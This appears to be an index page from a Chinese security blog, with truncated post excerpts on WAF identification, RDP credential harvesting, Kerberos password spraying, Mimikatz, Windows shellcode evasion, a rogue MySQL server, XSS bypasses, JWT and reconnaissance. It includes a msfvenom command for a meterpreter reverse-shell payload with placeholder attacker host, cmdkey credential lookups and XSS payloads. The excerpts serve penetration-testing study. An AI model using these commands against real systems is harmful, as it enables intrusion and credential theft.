tomyyyyy

摘要： 看图识WAF 转载自潇湘信安 记录常见WAF拦截页面 1. D盾 2.云锁 3. UPUPW安全防护 4.宝塔网站防火墙 5.网防G01 6. 护卫神 7. 网站安全狗 8. 智创防火墙 9. 360主机卫士或360webscan 10.西数WTS-WAF 11. Naxsi WAF 12. 腾讯云 阅读全文

摘要： RDP登录凭据获取 当用户在RDP登录时点击了保存登录凭据，获取凭据可以使用以下几种方法 #查看mstsc的连接记录 cmdkey /list #查找本地的Credentials dir /a %userprofile%\appdata\local\microsoft\credentials\* M 阅读全文

摘要： 域内用户名枚举和密码喷洒 于Kerberos本身是一种基于身份认证的协议，所以也可对进行暴力破解或用户名枚举，并且不需要域用户下，只要攻击者所控的机器可以与域控的KDC正常通信即可（可以ping通） 实验 我这里实验主要是域控administrator、域成员af、还有一台非域机。 nmap -p 阅读全文

摘要： mimikazi教程 1、简介 1.1、背景介绍 Mimikatz 是从 Windows 系统中收集凭证数据最好的工具之一。由于 Mimikatz 的作者 Benjamin Delpy 是法国人，所以描述关于 Mimikatz 用法的资源都是法语的，至少在他的博客中是这样的。 Mimikatz 的 阅读全文

摘要： msfvenom——木马免杀篇 c语言执行 生成shellcode.c msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c > shellcode.c 然 阅读全文

摘要： 伪造mysql服务端 原理概述 MySQL客户端和服务端通信过程中是通过对话的形式来实现的，客户端发送一个操作请求，然后服务端根据客服端发送的请求来响应客户端，在这个过程中客户端如果一个操作需要两步才能完成那么当它发送完第一个请求过后并不会存储这个请求，而是直接就丢掉了，所以第二步就是根据服务端的响 阅读全文

摘要： XSS绕过常见方式 转载自https://www.cnblogs.com/bingtang123/p/12844659.html XSS常见方式 1.<script>alert(1)</script> 2.源码第一个，[<]被转义，因此在第二个里 "><script>alert(1)</script 阅读全文

摘要： JWT介绍 JWT的定义 Json web token (简称JWT)，是目前最流行的跨域认证解决方案，是一种认证授权机制。 JWT 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准。该token被设计为紧凑且安全的，特别适用于分布式站点的单点登录（SSO）场景。JWT的声明一般被用 阅读全文

摘要： 腾讯云重启慢 通过reboot命令重启服务器，这个过程会非常的漫长，比我之前利用阿里云服务器慢的不是一点半点，重启耗时在3分钟到3分30秒之间。按道理不应该怎么慢的，令我百思不得其解 知道有一天我在一个大神的博客中发现了其中的奥秘 crontab中存在以下内容： */1 * * * * /usr/l 阅读全文

摘要： 信息收集的意义 信息收集对于渗透测试前期来说是非常重要的。正所谓，知己知彼百战不殆，信息收集是渗透测试成功的保障，只有我们掌握了目标网站或目标主机足够多的信息之后，才能更好地进行渗透测试。 信息收集的方式可以分为两种：主动和被动。 主动信息收集 通过直接访问网站，在网站上进行操作，对网站进行扫描等。 阅读全文